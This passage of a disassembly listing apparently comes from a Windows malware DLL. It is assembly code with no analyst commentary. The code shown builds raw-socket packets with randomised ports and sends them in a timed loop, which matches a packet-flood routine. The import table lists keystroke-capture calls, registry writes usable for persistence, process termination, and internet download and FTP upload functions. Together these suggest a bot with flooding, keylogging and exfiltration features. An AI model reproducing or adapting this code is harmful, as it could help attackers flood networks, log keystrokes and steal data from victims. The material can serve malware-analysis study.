		jnz	short loc_1000B671
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp+var_2D4]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B671:				; CODE XREF: sub_1000B442+207j
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		sub	eax, [ebp+var_23C]
		mov	[ebp+var_220], eax
		mov	edx, [ebp+var_220]
		cmp	edx, [ebp+var_2D0]
		jl	short loc_1000B69C
		jmp	short loc_1000B6A1
; ---------------------------------------------------------------------------

loc_1000B69C:				; CODE XREF: sub_1000B442+256j
		jmp	loc_1000B59F
; ---------------------------------------------------------------------------

loc_1000B6A1:				; CODE XREF: sub_1000B442+164j
					; sub_1000B442+258j
		mov	eax, [ebp+s]
		push	eax		; s
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp+var_2D4]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0		; dwExitCode
		call	ds:ExitThread	; ExitThread
sub_1000B442	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0E4h
		push	esi
		push	edi
		mov	dword ptr [ebp-0D0h], 1
		mov	esi, [ebp+8]
		mov	ecx, 24h
		lea	edi, [ebp-0CCh]
		rep movsd
		mov	eax, [ebp+8]
		mov	[ebp-0D4h], eax
		mov	ecx, [ebp-0D4h]
		mov	byte ptr [ecx+8Bh], 1
		call	ds:GetTickCount	; GetTickCount
		push	eax
		call	ds:srand	; srand
		add	esp, 4
		lea	edx, [ebp-0C2h]
		push	edx
		call	sub_10004BF7
		add	esp, 4
		and	eax, 0FFh
		test	eax, eax
		jz	short loc_1000B747
		lea	eax, [ebp-0C2h]
		push	eax
		call	ds:inet_addr	; inet_addr
		mov	[ebp-0DCh], eax
		jmp	short loc_1000B75C
; ---------------------------------------------------------------------------

loc_1000B747:				; CODE XREF: .text:1000B730j
		lea	ecx, [ebp-0C2h]
		push	ecx
		call	sub_10004763
		add	esp, 4
		mov	[ebp-0DCh], eax

loc_1000B75C:				; CODE XREF: .text:1000B745j
		cmp	dword ptr [ebp-0DCh], 0
		jnz	short loc_1000B76D
		push	0
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B76D:				; CODE XREF: .text:1000B763j
		push	0
		push	3
		push	2
		call	ds:socket	; socket
		mov	[ebp-0E0h], eax
		cmp	dword ptr [ebp-0E0h], 0FFFFFFFFh
		jnz	short loc_1000B7A1
		push	1
		mov	edx, [ebp-0CCh]
		push	edx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B7A1:				; CODE XREF: .text:1000B786j
		push	4
		lea	eax, [ebp-0D0h]
		push	eax
		push	2
		push	0
		mov	ecx, [ebp-0E0h]
		push	ecx
		call	ds:setsockopt	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000B7E6
		mov	edx, [ebp-0E0h]
		push	edx
		call	ds:closesocket	; closesocket
		push	1
		mov	eax, [ebp-0CCh]
		push	eax
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B7E6:				; CODE XREF: .text:1000B7BEj
		mov	word ptr [ebp-3Ch], 2
		mov	word ptr [ebp-3Ah], 0
		mov	ecx, [ebp-0DCh]
		mov	[ebp-38h], ecx
		push	8
		push	0
		lea	edx, [ebp-34h]
		push	edx
		call	memset	; memset
		add	esp, 0Ch
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp-0D8h], eax

loc_1000B820:				; CODE XREF: .text:loc_1000B908j
		mov	edx, 1
		test	edx, edx
		jz	loc_1000B90D
		mov	eax, [ebp-0C4h]
		and	eax, 0FFFFh
		test	eax, eax
		jz	short loc_1000B850
		mov	ecx, [ebp-0C4h]
		and	ecx, 0FFFFh
		mov	[ebp-0E4h], ecx
		jmp	short loc_1000B865
; ---------------------------------------------------------------------------

loc_1000B850:				; CODE XREF: .text:1000B83Aj
		push	0FFFFh
		push	1
		call	sub_10004608
		add	esp, 8
		mov	[ebp-0E4h], eax

loc_1000B865:				; CODE XREF: .text:1000B84Ej
		mov	dx, [ebp-0E4h]
		push	edx
		push	0FFFFh
		push	1
		call	sub_10004608
		add	esp, 8
		push	eax
		mov	eax, [ebp-0DCh]
		push	eax
		mov	cl, [ebp-42h]
		push	ecx
		call	sub_1000B122
		add	esp, 4
		push	eax
		lea	edx, [ebp-28h]
		push	edx
		call	sub_10006D53
		add	esp, 14h
		push	10h
		lea	eax, [ebp-3Ch]
		push	eax
		push	0
		push	28h
		lea	ecx, [ebp-28h]
		push	ecx
		mov	edx, [ebp-0E0h]
		push	edx
		call	ds:sendto	; sendto
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1000B8E3
		mov	eax, [ebp-0E0h]
		push	eax
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp-0CCh]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------

loc_1000B8E3:				; CODE XREF: .text:1000B8BBj
		call	ds:GetTickCount	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		sub	eax, [ebp-0D8h]
		mov	[ebp-2Ch], eax
		mov	edx, [ebp-2Ch]
		cmp	edx, [ebp-0C8h]
		jl	short loc_1000B908
		jmp	short loc_1000B90D
; ---------------------------------------------------------------------------

loc_1000B908:				; CODE XREF: .text:1000B904j
		jmp	loc_1000B820
; ---------------------------------------------------------------------------

loc_1000B90D:				; CODE XREF: .text:1000B827j
					; .text:1000B906j
		mov	eax, [ebp-0E0h]
		push	eax
		call	ds:closesocket	; closesocket
		push	1
		mov	ecx, [ebp-0CCh]
		push	ecx
		call	sub_1000AB26
		add	esp, 8
		push	0
		call	ds:ExitThread	; ExitThread
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION __WSAFDIsSet. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _ftol. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_1000B966:				; CODE XREF: .text:1000BC77j
		jmp	ds:__CxxFrameHandler
; [0000002C BYTES: COLLAPSED FUNCTION __onexit.	PRESS KEYPAD "+" TO EXPAND]
; [00000012 BYTES: COLLAPSED FUNCTION _atexit. PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcmp. PRESS KEYPAD "+" TO EXPAND]
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x).	PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION DllEntryPoint. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __dllonexit. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1000BC50	proc near		; DATA XREF: .rdata:stru_1000CDF8o
		lea	ecx, [ebp-20h]
		call	ds:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>(void)
		retn
sub_1000BC50	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000BC5A	proc near		; DATA XREF: .rdata:stru_1000CDF8o
		mov	eax, [ebp-3Ch]
		and	eax, 1
		test	eax, eax
		jz	locret_1000BC71
		mov	ecx, [ebp+8]
		call	ds:??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string<char,std::char_traits<char>,std::allocator<char>>(void)

locret_1000BC71:			; CODE XREF: sub_1000BC5A+8j
		retn
sub_1000BC5A	endp

; ---------------------------------------------------------------------------

loc_1000BC72:				; DATA XREF: .text:10001CC6o
		mov	eax, offset stru_1000CDF8
		jmp	loc_1000B966
; ---------------------------------------------------------------------------
		align 400h
_text		ends

; Section 2. (virtual address 0000C000)
; Virtual size			: 00001961 (   6497.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0000C000
; Flags	40000040: Data Readable
; Alignment	: default
;
; Imports from ADVAPI32.dll
;
; ===========================================================================

; Segment type:	Externs
; _idata
; LSTATUS __stdcall RegSetValueExA(HKEY	hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,const BYTE *lpData,DWORD cbData)
		extrn RegSetValueExA:dword ; CODE XREF:	sub_10004DB1+D0p
					; DATA XREF: sub_10004DB1+D0r
; LSTATUS __stdcall RegDeleteValueA(HKEY hKey,LPCSTR lpValueName)
		extrn RegDeleteValueA:dword ; CODE XREF: sub_10004EA7+E0p
					; DATA XREF: sub_10004EA7+E0r
; LSTATUS __stdcall RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,const LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition)
		extrn RegCreateKeyExA:dword ; CODE XREF: sub_10004DB1+A1p
					; sub_10004EA7+CCp
					; DATA XREF: ...
; LSTATUS __stdcall RegCloseKey(HKEY hKey)
		extrn RegCloseKey:dword	; CODE XREF: sub_10004DB1+DDp
					; DATA XREF: sub_10004DB1+DDr
; BOOL __stdcall GetUserNameA(LPSTR lpBuffer,LPDWORD pcbBuffer)
		extrn GetUserNameA:dword ; CODE	XREF: sub_10004987+183p
					; DATA XREF: sub_10004987+183r

;
; Imports from KERNEL32.dll
;
; HANDLE __stdcall CreateToolhelp32Snapshot(DWORD dwFlags,DWORD	th32ProcessID)
		extrn __imp_CreateToolhelp32Snapshot:dword
					; DATA XREF: CreateToolhelp32Snapshotr
; BOOL __stdcall Process32First(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
		extrn __imp_Process32First:dword ; DATA	XREF: Process32Firstr
; BOOL __stdcall Process32Next(HANDLE hSnapshot,LPPROCESSENTRY32 lppe)
		extrn __imp_Process32Next:dword	; DATA XREF: Process32Nextr
; BOOL __stdcall DeleteFileA(LPCSTR lpFileName)
		extrn DeleteFileA:dword	; CODE XREF: sub_10007424+DC9p
					; DATA XREF: sub_10007424+DC9r
; int __stdcall	GetLocaleInfoA(LCID Locale,LCTYPE LCType,LPSTR lpLCData,int cchData)
		extrn GetLocaleInfoA:dword ; CODE XREF:	sub_10007424+1C61p
					; DATA XREF: sub_10007424+1C61r
; UINT __stdcall GetTempFileNameA(LPCSTR lpPathName,LPCSTR lpPrefixString,UINT uUnique,LPSTR lpTempFileName)
		extrn GetTempFileNameA:dword ; CODE XREF: .text:1000595Bp
					; sub_10007424+232Bp
					; DATA XREF: ...
; DWORD	__stdcall GetTempPathA(DWORD nBufferLength,LPSTR lpBuffer)
		extrn GetTempPathA:dword ; CODE	XREF: sub_10004EA7+27p
					; .text:10005940p ...
; BOOL __stdcall WriteFile(HANDLE hFile,LPCVOID	lpBuffer,DWORD nNumberOfBytesToWrite,LPDWORD lpNumberOfBytesWritten,LPOVERLAPPED lpOverlapped)
		extrn WriteFile:dword	; CODE XREF: sub_10004EA7+16Cp
					; sub_10005380+FCp
					; DATA XREF: ...
; BOOL __stdcall SetFileAttributesA(LPCSTR lpFileName,DWORD dwFileAttributes)
		extrn SetFileAttributesA:dword ; CODE XREF: sub_10004DB1+ECp
					; sub_10004EA7+F2p
					; DATA XREF: ...
; BOOL __stdcall CopyFileA(LPCSTR lpExistingFileName,LPCSTR lpNewFileName,BOOL bFailIfExists)
		extrn CopyFileA:dword	; CODE XREF: sub_10004CE4+6Ap
					; DATA XREF: sub_10004CE4+6Ar
; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT uExitCode)
		extrn TerminateProcess:dword ; CODE XREF: sub_10009949+24p
					; sub_1000998F+A4p
					; DATA XREF: ...
; void __stdcall GlobalMemoryStatus(LPMEMORYSTATUS lpBuffer)
		extrn GlobalMemoryStatus:dword ; CODE XREF: sub_10004987+44p
					; DATA XREF: sub_10004987+44r
; BOOL __stdcall GetVersionExA(LPOSVERSIONINFOA	lpVersionInformation)
		extrn GetVersionExA:dword ; CODE XREF: sub_10004987+5Bp
					; sub_10007005+32p ...
; BOOL __stdcall GetComputerNameA(LPSTR	lpBuffer,LPDWORD nSize)
		extrn GetComputerNameA:dword ; CODE XREF: sub_10004987+169p
					; sub_10007424+1A87p
					; DATA XREF: ...
; UINT __stdcall SetErrorMode(UINT uMode)
		extrn SetErrorMode:dword ; CODE	XREF: start+E7p
					; DATA XREF: start+E7r
; DWORD	__stdcall GetTickCount()
		extrn GetTickCount:dword ; CODE	XREF: start+EDp
					; sub_10004987:loc_10004AD3p ...
; HANDLE __stdcall CreateMutexA(LPSECURITY_ATTRIBUTES lpMutexAttributes,BOOL bInitialOwner,LPCSTR lpName)
		extrn CreateMutexA:dword ; CODE	XREF: start+11Ap
					; DATA XREF: start+11Ar
; DWORD	__stdcall WaitForSingleObject(HANDLE hHandle,DWORD dwMilliseconds)
		extrn WaitForSingleObject:dword	; CODE XREF: start+121p
					; DATA XREF: start+121r
; DWORD	__stdcall GetModuleFileNameA(HMODULE hModule,LPCH lpFilename,DWORD nSize)
		extrn GetModuleFileNameA:dword ; CODE XREF: DllMain(x,x,x)+1Ep
					; DATA XREF: DllMain(x,x,x)+1Er
; int __stdcall	GetDateFormatA(LCID Locale,DWORD dwFlags,const SYSTEMTIME *lpDate,LPCSTR lpFormat,LPSTR	lpDateStr,int cchDate)
		extrn GetDateFormatA:dword ; CODE XREF:	StartAddress+C3p
					; DATA XREF: StartAddress+C3r
; int __stdcall	GetTimeFormatA(LCID Locale,DWORD dwFlags,const SYSTEMTIME *lpTime,LPCSTR lpFormat,LPSTR	lpTimeStr,int cchTime)
		extrn GetTimeFormatA:dword ; CODE XREF:	StartAddress+E0p
					; DATA XREF: StartAddress+E0r
; HANDLE __stdcall OpenProcess(DWORD dwDesiredAccess,BOOL bInheritHandle,DWORD dwProcessId)
		extrn OpenProcess:dword	; CODE XREF: sub_10009949+Fp
					; sub_1000998F+95p
					; DATA XREF: ...
; BOOL __stdcall TerminateThread(HANDLE	hThread,DWORD dwExitCode)
		extrn TerminateThread:dword ; CODE XREF: sub_1000A8D0+C6p
					; sub_1000AA09+6Dp
					; DATA XREF: ...
; BOOL __stdcall CloseHandle(HANDLE hObject)
		extrn CloseHandle:dword	; CODE XREF: sub_10002157+302p
					; sub_100030D9+1BAp ...
; HANDLE __stdcall CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T	dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId)
		extrn CreateThread:dword ; CODE	XREF: sub_10002157+323p
					; sub_10007424+1133p ...
; UINT __stdcall GetSystemDirectoryA(LPSTR lpBuffer,UINT uSize)
		extrn GetSystemDirectoryA:dword	; CODE XREF: sub_10004987+3Ap
					; sub_10004CE4+15p ...
; void __stdcall ExitThread(DWORD dwExitCode)
		extrn ExitThread:dword	; CODE XREF: sub_1000329E+75Cp
					; StartAddress+2BCp ...
; DWORD	__stdcall SetFilePointer(HANDLE	hFile,LONG lDistanceToMove,PLONG lpDistanceToMoveHigh,DWORD dwMoveMethod)
		extrn SetFilePointer:dword ; CODE XREF:	sub_100030D9+133p
					; sub_10005AE8+BDp
					; DATA XREF: ...
; BOOL __stdcall ReadFile(HANDLE hFile,LPVOID lpBuffer,DWORD nNumberOfBytesToRead,LPDWORD lpNumberOfBytesRead,LPOVERLAPPED lpOverlapped)
		extrn ReadFile:dword	; CODE XREF: sub_100030D9+154p
					; .text:100059AEp ...
; HANDLE __stdcall FindFirstFileA(LPCSTR lpFileName,LPWIN32_FIND_DATAA lpFindFileData)
		extrn FindFirstFileA:dword ; CODE XREF:	sub_100024A5+4F2p
					; DATA XREF: sub_100024A5+4F2r
; BOOL __stdcall FindNextFileA(HANDLE hFindFile,LPWIN32_FIND_DATAA lpFindFileData)
		extrn FindNextFileA:dword ; CODE XREF: sub_100024A5+50Cp
					; DATA XREF: sub_100024A5+50Cr
; BOOL __stdcall FileTimeToLocalFileTime(const FILETIME	*lpFileTime,LPFILETIME lpLocalFileTime)
		extrn FileTimeToLocalFileTime:dword ; CODE XREF: sub_100024A5+56Dp
					; DATA XREF: sub_100024A5+56Dr
; BOOL __stdcall FileTimeToSystemTime(const FILETIME *lpFileTime,LPSYSTEMTIME lpSystemTime)
		extrn FileTimeToSystemTime:dword ; CODE	XREF: sub_100024A5+581p
					; DATA XREF: sub_100024A5+581r
; BOOL __stdcall FindClose(HANDLE hFindFile)
		extrn FindClose:dword	; CODE XREF: sub_100024A5+BCAp
					; DATA XREF: sub_100024A5+BCAr
; DWORD	__stdcall GetFileAttributesA(LPCSTR lpFileName)
		extrn GetFileAttributesA:dword ; CODE XREF: sub_10002157+1CBp
					; DATA XREF: sub_10002157+1CBr
; HANDLE __stdcall CreateFileA(LPCSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile)
		extrn CreateFileA:dword	; CODE XREF: sub_10002157+2B4p
					; sub_100030D9+34p ...
; DWORD	__stdcall GetFileSize(HANDLE hFile,LPDWORD lpFileSizeHigh)
		extrn GetFileSize:dword	; CODE XREF: sub_10002157+2F2p
					; sub_100030D9+4Ep ...
; void __stdcall Sleep(DWORD dwMilliseconds)
		extrn Sleep:dword	; CODE XREF: sub_10002157+341p
					; start+1B2p ...

;
; Imports from MSVCP60.dll
;
; public: __thiscall std::_Winit::~_Winit(void)
		extrn ??1_Winit@std@@QAE@XZ:dword ; CODE XREF: sub_100020F5+8p
					; sub_10003D44+8p ...
; public: __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::~basic_string<char, struct std::char_traits<char>, class std::allocator<char>>(void)
		extrn ??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ:dword
					; CODE XREF: .text:10001EA8p
					; sub_1000BC50+3p ...
; public: __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>(class basic_string<char,	struct std::char_traits<char>, class std::allocator<char>>::basic_string<char, struct std::char_traits<char>, class std::allocator<char>> const	&)
		extrn ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV01@@Z:dword
					; CODE XREF: .text:10001E93p
					; DATA XREF: .text:10001E93r
; public: class	std::basic_string<char,	struct std::char_traits<char>, class std::allocator<char>> & __thiscall	std::basic_string<char,	struct std::char_traits<char>, class std::allocator<char>>::append(char	const *)
		extrn ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBD@Z:dword
					; CODE XREF: .text:10001E54p
					; DATA XREF: .text:10001E54r
; public: class	std::basic_string<char,	struct std::char_traits<char>, class std::allocator<char>> & __thiscall	std::basic_string<char,	struct std::char_traits<char>, class std::allocator<char>>::append(unsigned int, char)
		extrn ?append@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ID@Z:dword
					; CODE XREF: .text:10001E36p
					; .text:10001E7Fp
					; DATA XREF: ...
; public: void __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::reserve(unsigned int)
		extrn ?reserve@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEXI@Z:dword
					; CODE XREF: .text:10001D07p
					; DATA XREF: .text:10001D07r
; public: __thiscall std::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>::basic_string<char, struct std::char_traits<char>, class std::allocator<char>>(class basic_string<char,	struct std::char_traits<char>, class std::allocator<char>>::allocator<char> const &)
		extrn ??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@ABV?$allocator@D@1@@Z:dword
					; CODE XREF: .text:10001CEAp
					; DATA XREF: .text:10001CEAr
; public: __thiscall std::ios_base::Init::Init(void)
		extrn ??0Init@ios_base@std@@QAE@XZ:dword ; CODE	XREF: sub_10002092+8p
					; sub_10003CE1+8p ...
; public: __thiscall std::ios_base::Init::~Init(void)
		extrn ??1Init@ios_base@std@@QAE@XZ:dword ; CODE	XREF: sub_100020B4+8p
					; sub_10003D03+8p ...
; public: __thiscall std::_Winit::_Winit(void)
		extrn ??0_Winit@std@@QAE@XZ:dword ; CODE XREF: sub_100020D3+8p
					; sub_10003D22+8p ...

;
; Imports from MSVCRT.dll
;
		extrn _endthreadex:dword ; CODE	XREF: sub_10001EBF+10Ep
					; sub_10001EBF+1B2p ...
; int __cdecl stricmp(const char *Str1,const char *Str2)
		extrn _stricmp:dword	; CODE XREF: sub_10004CE4+4Dp
					; sub_10004EA7+80p ...
; size_t __cdecl strlen(const char *Str)
		extrn __imp_strlen:dword ; DATA	XREF: strlenr
; void *__cdecl	memcpy(void *Dst,const void *Src,size_t	Size)
		extrn __imp_memcpy:dword ; DATA	XREF: memcpyr
; void *__cdecl	memset(void *Dst,int Val,size_t	Size)
		extrn __imp_memset:dword ; DATA	XREF: memsetr
; void *__cdecl	malloc(size_t Size)
		extrn malloc:dword	; CODE XREF: sub_10001059+Dp
					; sub_100010BA+10p ...
; void __cdecl free(void *Memory)
		extrn free:dword	; CODE XREF: sub_1000113B+15p
					; sub_10001170+E8p ...
		extrn floor:dword	; CODE XREF: sub_10001C45+56p
					; DATA XREF: sub_10001C45+56r
		extrn __imp__ftol:dword	; DATA XREF: _ftolr
		extrn ceil:dword	; CODE XREF: .text:10001D6Bp
					; DATA XREF: .text:10001D6Br
		extrn __CxxFrameHandler:dword ;	DATA XREF: .text:loc_1000B966r
; char *__cdecl	itoa(int Val,char *DstBuf,int Radix)
		extrn _itoa:dword	; CODE XREF: sub_10009C30+45p
					; sub_10009EF0+CAp
					; DATA XREF: ...
; int snprintf(char *Dest,size_t Count,const char *Format,...)
		extrn _snprintf:dword	; CODE XREF: sub_10001EBF+7Ap
					; sub_10001EBF+B1p ...
; char *__cdecl	strncat(char *Dest,const char *Source,size_t Count)
		extrn strncat:dword	; CODE XREF: sub_10002157+241p
					; DATA XREF: sub_10002157+241r
; char *__cdecl	strtok(char *Str,const char *Delim)
		extrn strtok:dword	; CODE XREF: sub_10002157+1BBp
					; sub_100024A5+66p ...
; char *__cdecl	strncpy(char *Dest,const char *Source,size_t Count)
		extrn strncpy:dword	; CODE XREF: sub_10002157+74p
					; sub_10002157+25Ap ...
; int __cdecl strcmp(const char	*Str1,const char *Str2)
		extrn __imp_strcmp:dword ; DATA	XREF: strcmpr
; char *__cdecl	strstr(const char *Str,const char *SubStr)
		extrn strstr:dword	; CODE XREF: sub_1000329E+49Ep
					; sub_1000329E+4D5p ...
; void __cdecl srand(unsigned int Seed)
		extrn srand:dword	; CODE XREF: start+F4p
					; sub_10007005+3Fp ...
; int __cdecl fclose(FILE *File)
		extrn fclose:dword	; CODE XREF: start+C4p
					; DATA XREF: start+C4r
; size_t __cdecl fwrite(const void *Str,size_t Size,size_t Count,FILE *File)
		extrn fwrite:dword	; CODE XREF: start+B2p
					; DATA XREF: start+B2r
; FILE *__cdecl	fopen(const char *Filename,const char *Mode)
		extrn fopen:dword	; CODE XREF: start+62p
					; DATA XREF: start+62r
; int __cdecl rand()
		extrn rand:dword	; CODE XREF: sub_10004608:loc_10004618p
					; sub_10006A3B+70p ...
; int sscanf(const char	*Src,const char	*Format,...)
		extrn sscanf:dword	; CODE XREF: sub_10004BF7+1Fp
					; sub_10005C3D+54Cp ...
		extrn _beginthreadex:dword ; CODE XREF:	sub_10004C65+13p
					; DATA XREF: sub_10004C65+13r
; void __cdecl exit(int	Code)
		extrn exit:dword	; CODE XREF: sub_10004EA7+19Bp
					; sub_10007424+965p
					; DATA XREF: ...
; unsigned __int32 __cdecl strtoul(const char *Str,char	**EndPtr,int Radix)
		extrn strtoul:dword	; CODE XREF: sub_10005C3D+A0Dp
					; DATA XREF: sub_10005C3D+A0Dr
; int __cdecl atoi(const char *Str)
		extrn atoi:dword	; CODE XREF: sub_10005C3D+9A5p
					; sub_10005C3D+9BBp ...
; char *__cdecl	strcat(char *Dest,const	char *Source)
		extrn __imp_strcat:dword ; DATA	XREF: strcatr
; int __cdecl vsnprintf(char *DstBuf,size_t MaxCount,const char	*Format,va_list	ArgList)
		extrn _vsnprintf:dword	; CODE XREF: sub_10007293+29p
					; sub_10007303+29p
					; DATA XREF: ...
; void __cdecl splitpath(const char *FullPath,char *Drive,char *Dir,char *Filename,char	*Ext)
		extrn _splitpath:dword	; CODE XREF: sub_10007424+1963p
					; DATA XREF: sub_10007424+1963r
; __int32 __cdecl atol(const char *Str)
		extrn atol:dword	; CODE XREF: sub_10007424+803p
					; DATA XREF: sub_10007424+803r
		extrn __imp___dllonexit:dword ;	DATA XREF: __dllonexitr
; _onexit_t __cdecl onexit(_onexit_t Func)
		extrn _onexit:dword	; CODE XREF: __onexit+Dp
					; DATA XREF: __onexit+Dr
		extrn __imp__initterm:dword ; DATA XREF: _inittermr
		extrn _adjust_fdiv:dword ; DATA	XREF: _CRT_INIT(x,x,x):loc_1000BAE4r

;
; Imports from SHELL32.dll
;
; HINSTANCE __stdcall ShellExecuteA(HWND hwnd,LPCSTR lpOperation,LPCSTR	lpFile,LPCSTR lpParameters,LPCSTR lpDirectory,INT nShowCmd)
		extrn ShellExecuteA:dword ; CODE XREF: start+DFp
					; sub_10004CE4+BEp ...

;
; Imports from USER32.dll
;
; UINT __stdcall MapVirtualKeyExA(UINT uCode,UINT uMapType,HKL dwhkl)
		extrn MapVirtualKeyExA:dword ; CODE XREF: sub_10007424+21BAp
					; DATA XREF: sub_10007424+21BAr
; int __stdcall	GetKeyNameTextA(LONG lParam,LPSTR lpString,int cchSize)
		extrn GetKeyNameTextA:dword ; CODE XREF: sub_10007424+21DCp
					; DATA XREF: sub_10007424+21DCr
; HKL __stdcall	GetKeyboardLayout(DWORD	idThread)
		extrn GetKeyboardLayout:dword ;	CODE XREF: sub_10007424+21AAp
					; DATA XREF: sub_10007424+21AAr
; SHORT	__stdcall GetAsyncKeyState(int vKey)
		extrn GetAsyncKeyState:dword ; CODE XREF: sub_10007424+2197p
					; DATA XREF: sub_10007424+2197r

;
; Imports from WININET.dll
;
		extrn InternetConnectA:dword ; CODE XREF: sub_10005584+EEp
					; DATA XREF: sub_10005584+EEr
		extrn InternetCrackUrlA:dword ;	CODE XREF: sub_10005584+C1p
					; DATA XREF: sub_10005584+C1r
		extrn InternetWriteFile:dword ;	CODE XREF: sub_10005584+1B2p
					; DATA XREF: sub_10005584+1B2r
		extrn InternetCloseHandle:dword	; CODE XREF: sub_10005380+11Fp
					; sub_10005380+129p ...
		extrn InternetOpenA:dword ; CODE XREF: start+32p
					; sub_10005380+35p ...
		extrn InternetOpenUrlA:dword ; CODE XREF: start+4Cp
					; sub_10005380+51p
					; DATA XREF: ...
		extrn InternetReadFile:dword ; CODE XREF: start+88p
					; sub_10005380+D8p
					; DATA XREF: ...
		extrn FtpOpenFileA:dword ; CODE	XREF: sub_10005584+11Cp
					; DATA XREF: sub_10005584+11Cr

;
; Imports from WS2_32.dll
;
; u_short __stdcall ntohs(u_short netshort)
		extrn ntohs:dword	; CODE XREF: sub_1000A1A9+17Bp
					; sub_1000A1A9+1A1p ...
; char *__stdcall inet_ntoa(struct in_addr in)
		extrn inet_ntoa:dword	; CODE XREF: sub_10007424+300p
					; sub_1000A1A9+30Dp ...
; int __stdcall	setsockopt(SOCKET s,int	level,int optname,const	char *optval,int optlen)
		extrn setsockopt:dword	; CODE XREF: sub_10005C3D+99p
					; sub_10009E30+4Ap ...
; u_long __stdcall ntohl(u_long	netlong)
		extrn ntohl:dword	; CODE XREF: sub_10005C3D+2FAp
					; sub_10005C3D+30Ep ...
; unsigned __int32 __stdcall inet_addr(const char *cp)
